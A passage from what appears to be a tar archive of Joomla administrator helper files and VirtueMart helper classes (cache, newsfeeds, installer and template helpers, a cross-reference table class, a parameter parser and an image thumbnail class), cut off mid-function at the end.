	 * @param	string	$dir the directory
	 * @param	boolean	$message the message
	 * @param	boolean	$visible is the $dir visible?
	 *
	 * @return	string	html code
	 */
	public static function message($dir, $message, $visible=true)
	{
		if ($visible) {
			$output = $dir;
		}
		else {
			$output ='';
		}
		if (empty($message)) {
			return $output;
		}
		else {
			return $output.' <strong>'.JText::_($message).'</strong>';
		}
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������cache.php�������������������������������������������������������������������������������������������0000666�����������������00000002467�15137206476�0006350 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Cache component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_cache
 * @since		1.6
 */
class CacheHelper
{

	/**
	 * Get a list of filter options for the application clients.
	 *
	 * @return	array	An array of JHtmlOption elements.
	 */
	static function getClientOptions()
	{
		// Build the filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option', '0', JText::_('JSITE'));
		$options[]	= JHtml::_('select.option', '1', JText::_('JADMINISTRATOR'));
		return $options;
	}

	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 *
	 * @return	void
	 * @since	1.6
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('JGLOBAL_SUBMENU_CHECKIN'),
			'index.php?option=com_checkin',
			$vName == 'com_checkin'
		);

		JSubMenuHelper::addEntry(
			JText::_('JGLOBAL_SUBMENU_CLEAR_CACHE'),
			'index.php?option=com_cache',
			$vName == 'cache'
		);
		JSubMenuHelper::addEntry(
			JText::_('JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE'),
			'index.php?option=com_cache&view=purge',
			$vName == 'purge'
		);
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������newsfeeds.php���������������������������������������������������������������������������������������0000666�����������������00000003237�15137207506�0007257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Newsfeeds component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_newsfeeds
 * @since		1.6
 */
class NewsfeedsHelper
{
	public static $extension = 'com_newsfeeds';

	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_NEWSFEEDS_SUBMENU_NEWSFEEDS'),
			'index.php?option=com_newsfeeds&view=newsfeeds',
			$vName == 'newsfeeds'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_NEWSFEEDS_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_newsfeeds',
			$vName == 'categories'
		);
		if ($vName=='categories') {
			JToolBarHelper::title(
				JText::sprintf('COM_CATEGORIES_CATEGORIES_TITLE', JText::_('com_newsfeeds')),
				'newsfeeds-categories');
		}
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param	int		The category ID.
	 *
	 * @return	JObject
	 */
	public static function getActions($categoryId = 0, $newsfeedId = 0)
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		if (empty($categoryId)) {
			$assetName = 'com_newsfeeds';
			$level = 'component';
		}
		else {
			$assetName = 'com_newsfeeds.category.'.(int) $categoryId;
			$level = 'category';
		}

		$actions = JAccess::getActions('com_newsfeeds', $level);

		foreach ($actions as $action) {
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/newsfeed.php�����������������������������������������������������������������������������������0000666�����������������00000003364�15137207506�0010041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Utility class for creating HTML Grids
 *
 * @static
 * @package		Joomla.Administrator
 * @subpackage	com_newsfeeds
 * @since		1.5
 */
class JHtmlNewsfeed
{
	/**
	 * @param	int $value	The state value
	 * @param	int $i
	 */
	public static function state($value = 0, $i)
	{
		// Array of image, task, title, action
		$states	= array(
			1	=> array('tick.png',		'newsfeeds.unpublish',	'JPUBLISHED',			'COM_NEWSFEEDS_UNPUBLISH_ITEM'),
			0	=> array('publish_x.png',	'newsfeeds.publish',		'JUNPUBLISHED',		'COM_NEWSFEEDS_PUBLISH_ITEM')
		);
		$state	= JArrayHelper::getValue($states, (int) $value, $states[0]);
		$html	= '<a href="#" onclick="return listItemTask(\'cb'.$i.'\',\''.$state[1].'\')" title="'.JText::_($state[3]).'">'
				. JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true).'</a>';

		return $html;
	}

	/**
	 * Display an HTML select list of state filters
	 *
	 * @param	int $selected	The selected value of the list
	 * @return	string			The HTML code for the select tag
	 * @since	1.6
	 */
	public static function filterstate($selected)
	{
		// Build the active state filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option', '*', JText::_('JOPTION_ANY'));
		$options[]	= JHtml::_('select.option', '1', JText::_('JPUBLISHED'));
		$options[]	= JHtml::_('select.option', '0', JText::_('JUNPUBLISHED'));


		return JHtml::_('select.genericlist', $options, 'filter_published',
			array(
				'list.attr' => 'class="inputbox" onchange="this.form.submit();"',
				'list.select' => $selected
			)
		);
	}
}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/manage.php�������������������������������������������������������������������������������������0000666�����������������00000002764�15137210205�0007462 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * @package		Joomla.Administrator
 * @subpackage	com_installer
 * @since		2.5
 */
abstract class InstallerHtmlManage
{
	/**
	 * Returns a published state on a grid
	 *
	 * @param   integer       $value			The state value.
	 * @param   integer       $i				The row index
	 * @param   boolean       $enabled			An optional setting for access control on the action.
	 * @param   string        $checkbox			An optional prefix for checkboxes.
	 *
	 * @return  string        The Html code
	 *
	 * @see JHtmlJGrid::state
	 *
	 * @since   2.5
	 */
	public static function state($value, $i, $enabled = true, $checkbox = 'cb')
	{
		$states	= array(
			2	=> array(
				'',
				'COM_INSTALLER_EXTENSION_PROTECTED',
				'',
				'COM_INSTALLER_EXTENSION_PROTECTED',
				false,
				'protected',
				'protected'
			),
			1	=> array(
				'unpublish',
				'COM_INSTALLER_EXTENSION_ENABLED',
				'COM_INSTALLER_EXTENSION_DISABLE',
				'COM_INSTALLER_EXTENSION_ENABLED',
				false,
				'publish',
				'publish'
			),
			0	=> array(
				'publish',
				'COM_INSTALLER_EXTENSION_DISABLED',
				'COM_INSTALLER_EXTENSION_ENABLE',
				'COM_INSTALLER_EXTENSION_DISABLED',
				false,
				'unpublish',
				'unpublish'
			),
		);

		return JHtml::_('jgrid.state', $states, $value, $i, 'manage.', $enabled, true, $checkbox);
	}
}
������������installer.php���������������������������������������������������������������������������������������0000666�����������������00000004004�15137210205�0007250 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Administrator
 * @subpackage	com_installer
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Installer helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_installer
 * @since		1.6
 */
class InstallerHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 */
	public static function addSubmenu($vName = 'install')
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_INSTALL'),
			'index.php?option=com_installer',
			$vName == 'install'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_UPDATE'),
			'index.php?option=com_installer&view=update',
			$vName == 'update'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_MANAGE'),
			'index.php?option=com_installer&view=manage',
			$vName == 'manage'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_DISCOVER'),
			'index.php?option=com_installer&view=discover',
			$vName == 'discover'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_DATABASE'),
			'index.php?option=com_installer&view=database',
			$vName == 'database'
		);
		JSubMenuHelper::addEntry(
		JText::_('COM_INSTALLER_SUBMENU_WARNINGS'),
					'index.php?option=com_installer&view=warnings',
		$vName == 'warnings'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_LANGUAGES'),
			'index.php?option=com_installer&view=languages',
			$vName == 'languages'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return	JObject
	 * @since	1.6
	 */
	public static function getActions()
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		$assetName = 'com_installer';

		$actions = JAccess::getActions($assetName);

		foreach ($actions as $action) {
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}
}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/templates.php����������������������������������������������������������������������������������0000666�����������������00000002410�15137210210�0010210 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * @package		Joomla.Administrator
 * @subpackage	com_templates
 */
class JHtmlTemplates
{
	/**
	 * Display the thumb for the template.
	 *
	 * @param	string	The name of the active view.
	 */
	public static function thumb($template, $clientId = 0)
	{
		$client		= JApplicationHelper::getClientInfo($clientId);
		$basePath	= $client->path.'/templates/'.$template;
		$baseUrl	= ($clientId == 0) ? JUri::root(true) : JUri::root(true).'/administrator';
		$thumb		= $basePath.'/template_thumbnail.png';
		$preview	= $basePath.'/template_preview.png';
		$html		= '';

		if (file_exists($thumb))
		{
			$clientPath = ($clientId == 0) ? '' : 'administrator/';
			$thumb	= $clientPath.'templates/'.$template.'/template_thumbnail.png';
			$html	= JHtml::_('image', $thumb, JText::_('COM_TEMPLATES_PREVIEW'));
			if (file_exists($preview))
			{
				$preview	= $baseUrl.'/templates/'.$template.'/template_preview.png';
				$html		= '<a href="'.$preview.'" class="modal" title="'.JText::_('COM_TEMPLATES_CLICK_TO_ENLARGE').'">'.$html.'</a>';
			}
		}

		return $html;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates.php���������������������������������������������������������������������������������������0000666�����������������00000005256�15137210210�0007257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Templates component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_templates
 * @since		1.6
 */
class TemplatesHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_TEMPLATES_SUBMENU_STYLES'),
			'index.php?option=com_templates&view=styles',
			$vName == 'styles'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_TEMPLATES_SUBMENU_TEMPLATES'),
			'index.php?option=com_templates&view=templates',
			$vName == 'templates'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return	JObject
	 */
	public static function getActions()
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		$actions = JAccess::getActions('com_templates');

		foreach ($actions as $action) {
			$result->set($action->name, $user->authorise($action->name, 'com_templates'));
		}

		return $result;
	}

	/**
	 * Get a list of filter options for the application clients.
	 *
	 * @return	array	An array of JHtmlOption elements.
	 */
	public static function getClientOptions()
	{
		// Build the filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option', '0', JText::_('JSITE'));
		$options[]	= JHtml::_('select.option', '1', JText::_('JADMINISTRATOR'));

		return $options;
	}

	/**
	 * Get a list of filter options for the templates with styles.
	 *
	 * @return	array	An array of JHtmlOption elements.
	 */
	public static function getTemplateOptions($clientId = '*')
	{
		// Build the filter options.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		if ($clientId != '*') {
			$query->where('client_id='.(int) $clientId);
		}

		$query->select('element as value, name as text, extension_id as e_id');
		$query->from('#__extensions');
		$query->where('type='.$db->quote('template'));
		$query->where('enabled=1');
		$query->order('client_id');
		$query->order('name');
		$db->setQuery($query);
		$options = $db->loadObjectList();
		return $options;
	}

	public static function parseXMLTemplateFile($templateBaseDir, $templateDir)
	{
		$data = new JObject;

		// Check of the xml file exists
		$filePath = JPath::clean($templateBaseDir.'/templates/'.$templateDir.'/templateDetails.xml');
		if (is_file($filePath))
		{
			$xml = JInstaller::parseXMLInstallFile($filePath);

			if ($xml['type'] != 'template') {
				return false;
			}

			foreach ($xml as $key => $value) {
				$data->set($key, $value);
			}
		}

		return $data;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmtablexarray.php�����������������������������������������������������������������������������������0000666�����������������00000022535�15137212725�0010156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Xref table abstract class to create tables specialised doing xref
 *
 * The pkey is the Where key in the load function,
 * the skey is the select key in the load function
 *
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2011 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */

defined('_JEXEC') or die();

if(!class_exists('VmTable'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmtable.php');

class VmTableXarray extends VmTable {

	/** @var int Primary key */

	protected $_autoOrdering = false;
	protected $_orderable = false;
    protected $_skey = '';
    protected $_skeyForm = '';
	protected $_pvalue = '';

//    function setOrderable($key='ordering', $auto=true){
//    	$this->_orderingKey = $key;
//    	$this->_orderable = 1;
//    	$this->_autoOrdering = $auto;
//    	$this->$key = 0;
//    }

	function setSecondaryKey($key,$keyForm=0){
		$this->_skey 		= $key;
		$this->$key			= array();
		$this->_skeyForm	= empty($keyForm)? $key:$keyForm;

    }

	function setOrderableFormname($orderAbleFormName){
		$this->_okeyForm = $orderAbleFormName;
	}


	/**
	* swap the ordering of a record in the Xref tables
	* @param  $direction , 1/-1 The increment to reorder by
	*/
	function move($direction, $where='', $orderingkey=0) {

    	if(empty($this->_skey) ) {
    		vmError( 'No secondary keys defined in VmTableXarray '.$this->_tbl );
    		return false;
    	}
		$skeyId = JRequest::getInt($this->_skey, 0);
		// Initialize variables
		$db		= JFactory::getDBO();
		$cid	= JRequest::getVar( $this->_pkey , array(), 'post', 'array' );
		$order	= JRequest::getVar( 'order', array(), 'post', 'array' );

		$query = 'SELECT `id` FROM `' . $this->_tbl . '` WHERE $this->_pkey = '.(int)$cid[0].' AND `virtuemart_category_id` = '.(int)$skeyId ;
		$this->_db->setQuery( $query );
		$id = $this->_db->loadResult();
		$keys = array_keys($order);
		// TODO next 2 lines not used ????
		if ($direction >0) $idToSwap = $order[$keys[array_search($id, $keys)]+1];
		else $idToSwap =  $order[$keys[array_search($id, $keys)]-1];

		if (isset( $cid[0] )) {

			$query = 'UPDATE `'.$this->_tbl.'` '
			. ' SET `'.$this->_orderingKey.'` = `'.$this->_orderingKey.'` + '. $direction
			. ' WHERE `'.$this->_pkey.'` = ' . (int)$cid[0].
			' AND `'.$this->_skey.'`  = ' . (int)$skeyId
			;
			$this->_db->setQuery( $query );

			if (!$this->_db->query())
			{
				$err = $this->_db->getErrorMsg();
				JError::raiseError( 500, get_class( $this ).':: move '. $err );
			}
		}
	}
    /**
     * Records in this table are arrays. Therefore we need to overload the load() function.
     * TODO, this function is giving back the array, not the table, it is not working like the other table, so we should change that
     * for the 2.2. at least.
	 * @author Max Milbers
     * @param int $id
     */
    function load($oid=null,$overWriteLoadName=0,$andWhere=0,$tableJoins= array(),$joinKey = 0){

    	if(empty($this->_skey) ) {
    		vmError( 'No secondary keys defined in VmTableXarray '.$this->_tbl );
    		return false;
    	}

    	if(empty($this->_db)) $this->_db = JFactory::getDBO();

		if($this->_orderable){
			$orderby = 'ORDER BY `'.$this->_orderingKey.'`';
		} else {
			$orderby = '';
		}

		$q = 'SELECT `'.$this->_skey.'` FROM `'.$this->_tbl.'` WHERE `'.$this->_pkey.'` = "'.(int)$oid.'" '.$orderby;
		$this->_db->setQuery($q);

		$result = $this->_db->loadResultArray();
// 		vmdebug('my q ',$q,$result);
		$error = $this->_db->getErrorMsg();
		if(!empty($error)){
			vmError(get_class( $this ).':: load'.$error  );
			return false;
		} else {
			if(empty($result)) return array();
			if(!is_array($result)) $result = array($result);

			return $result;
		}

    }

    /**
     * This binds the data to this kind of table. You can set the used name of the form with $this->skeyForm;
     *
     * @author Max Milbers
     * @param array $data
     */
	public function bind($data, $ignore = array()){

		if(!empty($data[$this->_pkeyForm])){
			$this->_pvalue = $data[$this->_pkeyForm];
		}

		if(!empty($data[$this->_skeyForm])){
			$this->_svalue = $data[$this->_skeyForm];
		}

		if($this->_orderable){
			$orderingKey = $this->_orderingKey;
			if(!empty($data[$orderingKey])){
				$this->$orderingKey = $data[$this->_orderingKey];
			}
		}

		return true;

	}

    /**
     *
     * @author Max Milbers, George Kostopoulos
     * @see libraries/joomla/database/JTable#store($updateNulls)
     */
    public function store($updateNulls = false) {

    	$returnCode = true;
		$this->setLoggableFieldsForStore();
		$db = JFactory::getDBO();

        $pkey = $this->_pkey;
        $skey = $this->_skey;
        $tblkey = $this->_tbl_key;

        // We select all database rows based on our _pkey
        $q  = 'SELECT * FROM `'.$this->_tbl.'` WHERE `'.$this->_pkey.'` = "'. $this->_pvalue.'" ';
        $this->_db->setQuery($q);
        $objList = $this->_db->loadObjectList();

        // We convert the database object list that we got in a more friendly array
        $oldArray = null;
        if($objList) {
            foreach($objList as $obj){
                $oldArray[] = array($pkey=>$obj->$pkey, $skey=>$obj->$skey);
            }
        }

        // We make another database object list with the values that we want to insert into the database
        $newArray = array();
		if(!empty($this->_svalue)){
	            if(!is_array($this->_svalue)) $this->_svalue = array($this->_svalue);
	            foreach($this->_svalue as $value) $newArray[] = array($pkey=>$this->_pvalue, $skey=>$value);
		}

        // Inserts and Updates
        if(count($newArray)>0){
            $myOrdering = 1;

            foreach ($newArray as $newValue) {
                // We search in the existing (old) rows to find one of the new rows we want to insert
                $result = $this->array_msearch($oldArray, $newValue);

                // We start creating the row we will insert or update
                $obj = new stdClass;
                $obj->$pkey = $newValue[$pkey];
                $obj->$skey = $newValue[$skey];

                if($this->_autoOrdering){
                    $oKey = $this->_orderingKey;
                    $obj->$oKey = $myOrdering++;
                }

                // If the new row does not exist in the old rows, we will insert it
                if( $result === false ) {
                    $returnCode = $this->_db->insertObject($this->_tbl, $obj, $pkey);
                }
                else {
                    // If the new row exists in the old rows, we will update it
                    $obj->$tblkey = $objList[$result]->$tblkey;
                    $returnCode = $this->_db->updateObject($this->_tbl, $obj, $tblkey);
                }
            }
        }
        else {
            // There are zero new rows, so the user asked for all the rows to be deleted
            $q  = 'DELETE FROM `'.$this->_tbl.'` WHERE `' . $pkey.'` = "'. $this->_pvalue .'" ';
            $this->_db->setQuery($q);

            if(!$this->_db->query()){
                $returnCode = false;
                vmError(get_class( $this ).':: store '.$this->_db->getErrorMsg());
            }
        }


        // Deletions
        if(!empty($oldArray)) {
            for ($i = 0; $i < count($oldArray); $i++) {
                $result = $this->array_msearch($newArray, $oldArray[$i]);

                // If no new row exists in the old rows, we will delete the old rows
                if( $result === false ) {
                    // If the old row does not exist in the new rows, we will delete it
                    $q  = 'DELETE FROM `'.$this->_tbl.'` WHERE `' . $tblkey.'` = "'. $objList[$i]->$tblkey .'" ';
                    $this->_db->setQuery($q);
                    if(!$this->_db->Query()){
                        $returnCode = false;
                        vmError(get_class( $this ).':: store'.$this->_db->getErrorMsg());
                    }
                }
             }
        }

 	return $returnCode;

    }

    /**
     *
     * Searches in an array of arrays to find a specific array we want
     *
     * @author George Kostopoulos
     * @param source array of arrays that we will search
     * @param the target array we want to find
     */
    protected function array_msearch($parents, $searched) {
        if (empty($searched) || empty($parents)) {
            return false;
        }

        foreach ($parents as $key => $value) {
            $exists = true;
            foreach ($searched as $skey => $svalue) {
                $exists = ($exists && IsSet($parents[$key][$skey]) && $parents[$key][$skey] == $svalue);
            }
            if($exists){ return $key; }
         }

        return false;
    }


    function deleteRelation(){
    	$q  = 'DELETE FROM `'.$this->_tbl.'` WHERE `'.$this->_pkey.'` = "'. $this->_pvalue.'" ';
    	$this->_db->setQuery($q);
    	if(!$this->_db->Query()){
    		vmError(get_class( $this ).':: store'.$this->_db->getErrorMsg(),'Couldnt delete relations');
    		return false;
    	}

    	return true;
    }

}�������������������������������������������������������������������������������������������������������������������������������������������������������������������paramhelper.php�������������������������������������������������������������������������������������0000666�����������������00000005140�15137212725�0007566 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php

/**
*
* Helper class to handle additional parameters
*
* @package	VirtueMart
* @subpackage Helpers
* @author Oscar van Eijk
* @link http://www.virtuemart.net
* @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* VirtueMart is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* @version $Id: paramhelper.php 2928 2011-03-31 16:53:36Z oscar $
*/
 
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die('Restricted access');

/**
 * Parameter helper class for datase fields in the format "key=value[(s)key=value(s)key=value...]
 * where (s) is a seperator (default: '\n').
 *
 * @package	VirtueMart
 * @subpackage Helper
 * @author Oscar van Eijk
 * @deprecated
 */
class ParamHelper {

	/** @var array list with parameter=>value */
	private $_data;

	/** @var char seperator */
	private $_sep;

    /*
     * @deprecated
     */
	public function __construct($p = null, $s = '\n')
	{
		// initialise
		$this->_sep = $s;
		if ($p === null) {
			$this->_data = array();
		} else {
			$this->parseParam($p);
		}
	}

	/**
	 * Set the field seperator
	 * @param char $s
	 */
	public function setSeper($s)
	{
		$this->_sep = $s;
	}

	/**
	 * Return a single parameter value
	 * @param $p parameter name
	 * @param $d default value
	 * @return mixed parameter value or default value if non existing
	 */
	public function get($p, $d = null)
	{
		if (array_key_exists($p, $this->_data)) {
			return $this->_data[$p];
		} else {
			return $d;
		}
	}

	/**
	 * Return a single parameter value
	 * @param $p parameter name
	 * @param $v value
	 */
	public function set($p, $v = null)
	{
		$this->_data[$p] = $v;
	}

	/**
	 * Parse a parameter string and fill the _data array with key/value pairs
	 * @param string $p
     * @deprecated
	 */
	public function parseParam  ($p)
	{
		if (!$p) {
			return;
		}
		$_arr = explode($this->_sep, $p);
		if (count($_arr) == 0) {
			$this->_data = array();
			return;
		}
		foreach ($_arr as $_p) {
			$_p = trim($_p);
			list($k, $v) = explode('=', $_p, 2);
			$this->_data[$k] = $v;
		}
	}

	/**
	 * Format the _data array for database storage
	 * @return string or null when no parameters exist
	 */
	public function paramString()
	{
		$s = array();
		foreach ($this->_data as $k => $v) {
			$s[]=$k.'='.$v;
		}
		return (count($s) == 0 ) ? null : implode($this->_sep, $s);
	}
}

// No closing tag
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������img2thumb.php���������������������������������������������������������������������������������������0000666�����������������00000030255�15137212725�0007171 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
* class Image2Thumbnail
* Thumbnail creation with PHP4 and GDLib (recommended, but not mandatory: 2.0.1 !)
*
*
* @author     Andreas Martens <heyn@plautdietsch.de>
* @author     Patrick Teague <webdude@veslach.com>
* @author     Soeren Eberhardt <soeren|at|virtuemart.net>
*@version	1.0b
*@date       modified 11/22/2004
*@modifications
*   - added support for GDLib < 2.0.1
*	- added support for reading gif images
*	- makes jpg thumbnails
*	- changed several groups of 'if' statements to single 'switch' statements
*   - commented out original code so modification could be identified.
*/

class Img2Thumb	{
// New modification
/**
*	private variables - do not use
*
*	@var int $bg_red				0-255 - red color variable for background filler
*	@var int $bg_green				0-255 - green color variable for background filler
*	@var int $bg_blue				0-255 - blue color variable for background filler
*	@var int $maxSize				0-1 - true/false - should thumbnail be filled to max pixels
*/
	var $bg_red;
	var $bg_green;
	var $bg_blue;
	var $maxSize;
	/**
	 * @var string Filename for the thumbnail
	 */
	var $fileout;

/**
*   Constructor - requires following vars:
*
*	@param string $filename			image path
*
*	These are additional vars:
*
*	@param int $newxsize			new maximum image width
*	@param int $newysize			new maximum image height
*	@param string $fileout			output image path
*	@param int $thumbMaxSize		whether thumbnail should have background fill to make it exactly $newxsize x $newysize
*	@param int $bgred				0-255 - red color variable for background filler
*	@param int $bggreen				0-255 - green color variable for background filler
*	@param int $bgblue				0-255 - blue color variable for background filler
*
*/
	function Img2Thumb($filename, $newxsize=60, $newysize=60, $fileout='',
		$thumbMaxSize=0, $bgred=0, $bggreen=0, $bgblue=0)
	{

		//Some big pictures need that
		VmConfig::ensureMemoryLimit(128);

		//	New modification - checks color int to be sure within range
		if($thumbMaxSize)
		{
			$this->maxSize = true;
		}
		else
		{
			$this->maxSize = false;
		}
		if($bgred>=0 || $bgred<=255)
		{
			$this->bg_red = $bgred;
		}
		else
		{
			$this->bg_red = 0;
		}
		if($bggreen>=0 || $bggreen<=255)
		{
			$this->bg_green = $bggreen;
		}
		else
		{
			$this->bg_green = 0;
		}
		if($bgblue>=0 || $bgblue<=255)
		{
			$this->bg_blue = $bgblue;
		}
		else
		{
			$this->bg_blue = 0;
		}

		$this->NewImgCreate($filename,$newxsize,$newysize,$fileout);
	}

/**
*
*	private function - do not call
*
*/
	private function NewImgCreate($filename,$newxsize,$newysize,$fileout)
	{
// 		if( !function_exists('imagecreatefromjpeg') ){
// 			$app = JFactory::getApplication();
// 			$app->enqueueMessage('This server does NOT suppport auto generating Thumbnails by jpg');
// 		}

		if(function_exists('imagecreatefromstring')){

			$content = file_get_contents($filename);
			if($content){
				$gd = @imagecreatefromstring($content);
				if ($gd === false) {
					vmWarn('Img2Thumb NewImgCreate with imagecreatefromstring failed '.$filename.' ');
				} else {
					$pathinfo = pathinfo( $fileout );
					$type = empty($type)? $pathinfo['extension']:$type;
					$this->fileout = $fileout;
					$new_img =$this->NewImgResize($gd,$newxsize,$newysize,$filename);
					if (!empty($fileout))
					{
						$this-> NewImgSave($new_img,$fileout,$type);
					}
					else
					{
						$this->NewImgShow($new_img,$type);
					}

					ImageDestroy($new_img);
					ImageDestroy($gd);
				}
			}

		} else {
			$type = $this->GetImgType($filename);

			$pathinfo = pathinfo( $fileout );

			$type = empty($type)? $pathinfo['extension']:$type;

			if( empty( $pathinfo['extension'])) {
				$fileout .= '.'.$type;
			}
			$this->fileout = $fileout;

			switch($type){

				case "gif":
					// unfortunately this function does not work on windows
					// via the precompiled php installation :(
					// it should work on all other systems however.
					if( function_exists("imagecreatefromgif") ) {

						$orig_img = imagecreatefromgif($filename);
					} else {
						$app = JFactory::getApplication();
						$app->enqueueMessage('This server does NOT suppport auto generating Thumbnails by gif');
						return false;
					}
					break;
				case "jpg":
					if( function_exists("imagecreatefromjpeg") ) {
						if($this->check_jpeg($filename,true)){
							$orig_img = imagecreatefromjpeg($filename);
						} else {
							vmWarn('Img2Thumb NewImgCreate $orig_img empty, type was not in switch for file '.$filename.' this happens due missing exif data or broken origin file');
							return false;
						}

					} else {
						$app = JFactory::getApplication();
						$app->enqueueMessage('This server does NOT suppport auto generating Thumbnails by jpg');
						return false;
					}
					break;
				case "png":
					if( function_exists("imagecreatefrompng") ) {
						$orig_img = imagecreatefrompng($filename);
					} else {
						$app = JFactory::getApplication();
						$app->enqueueMessage('This server does NOT suppport auto generating Thumbnails by png');
						return false;
					}
					break;

			}

